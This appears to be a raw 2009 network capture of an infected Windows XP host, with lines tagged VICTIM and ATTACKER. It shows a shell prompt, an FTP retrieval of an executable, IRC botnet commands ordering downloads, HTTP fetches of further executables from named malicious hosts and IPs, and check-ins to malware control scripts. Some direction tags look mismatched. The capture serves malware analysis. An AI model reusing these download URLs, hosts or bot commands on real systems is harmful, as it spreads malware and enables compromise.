VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> ATTACKER: 220 OK VICTIM: USER anonymous ATTACKER: 331 OK VICTIM: PASS bin ATTACKER: 230 OK VICTIM: PORT 192,168,1,191,4 ATTACKER: 200 OK ATTACKER: RETR 1558_upload.exe ATTACKER: 150 OK ATTACKER: 226 OK VICTIM: QUIT VICTIM: NICK uzammsvbUSER p020501 . . :- VICTIM: JOIN &virtu ATTACKER: :u. PRIVMSG uzammsvb :!get http:/brenz.pl/ex/a.php ATTACKER: PING :l. ATTACKER: PONG :l. VICTIM: JOIN &virtu ATTACKER: PING :l. ATTACKER: PONG :l. VICTIM: JOIN &virtu ATTACKER: PING :l. ATTACKER: PONG :l. VICTIM: JOIN &virtu ATTACKER: PING :l. ATTACKER: PING :l. ATTACKER: NICK dpbcessqUSER n020501 . . :- VICTIM: JOIN &virtu ATTACKER: PING :l. ATTACKER: :u. PRIVMSG dpbcessq :!get http:/dl2.guarddog2009.com/cw.exe:u. PRIVMSG dpbcessq :!get http:/brenz.pl/ex/a.php VICTIM: GET /cw.exe HTTP/1.0User-Agent: DownloadHost: dl2.guarddog2009.comPragma: no-cache ATTACKER: GET / HTTP/1.0Host: www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1.2600 ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Content-type: application/x-www-form-urlencodedConnection: close ATTACKER: HTTP/1.0 200 OKCache-Control: private, max-age=0Date: Thu, 18 Jun 2009 13:09:05 GMTExpires: -1Content-Type: text/html; charset=UTF-8Set-Cookie: PREF=ID=7295943d83f2c7b4:TM=1245330545:LM=1245330545:S=sJCVWObob31QBwad; expires=Sat, 18-Jun-2011 13:09:05 GMT; path=/; domain=.google.comServer: gwsVICTIM: POST /achcheck.php HTTP/1.0Host: upr15may.comUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1.2600 ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Content-type: application/x-www-form-urlencodedConnection: closeContent-Length: 0 VICTIM: POST /ld/gen.php HTTP/1.0Host: upr15may.comUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1.2600 ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Content-type: application/x-www-form-urlencodedConnection: closeContent-Length: 109 VICTIM: f=0&a=1022434792&v=10&c=0&s=ld&l=14760&ck=0&c_fb=0&c_ms=0&c_hi=0&c_be=0&c_fr=-1&c_yb=-1&c_tg=0&c_nl=0&c_fu=-1 ATTACKER: GET /ex/a.php HTTP/1.0User-Agent: DownloadHost: brenz.plPragma: no-cache ATTACKER: GET /files/pdrv.exe HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: 61.235.117.71Connection: Keep-Alive ATTACKER: GET /files/pdrv.exe HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: 61.235.117.71Connection: Keep-Alive ATTACKER: GET /v50/?v=81&s=I&uid=1022434792&p=14760&ip=&q= HTTP/1.0Host: 85.13.236.154User-Agent: ATTACKER: GET /mega/lgate.php?n=94AEEEDFFCB64848 HTTP/1.0Connection: closeAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lometr.pl ATTACKER: GET /mega/lgate.php?n=94AEEEDFFCB64848 HTTP/1.0Connection: closeAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lometr.pl
Discovering the web: Explore the world of Google search.
Advertising Programs - Business Solutions - About Google©2009 - Privacy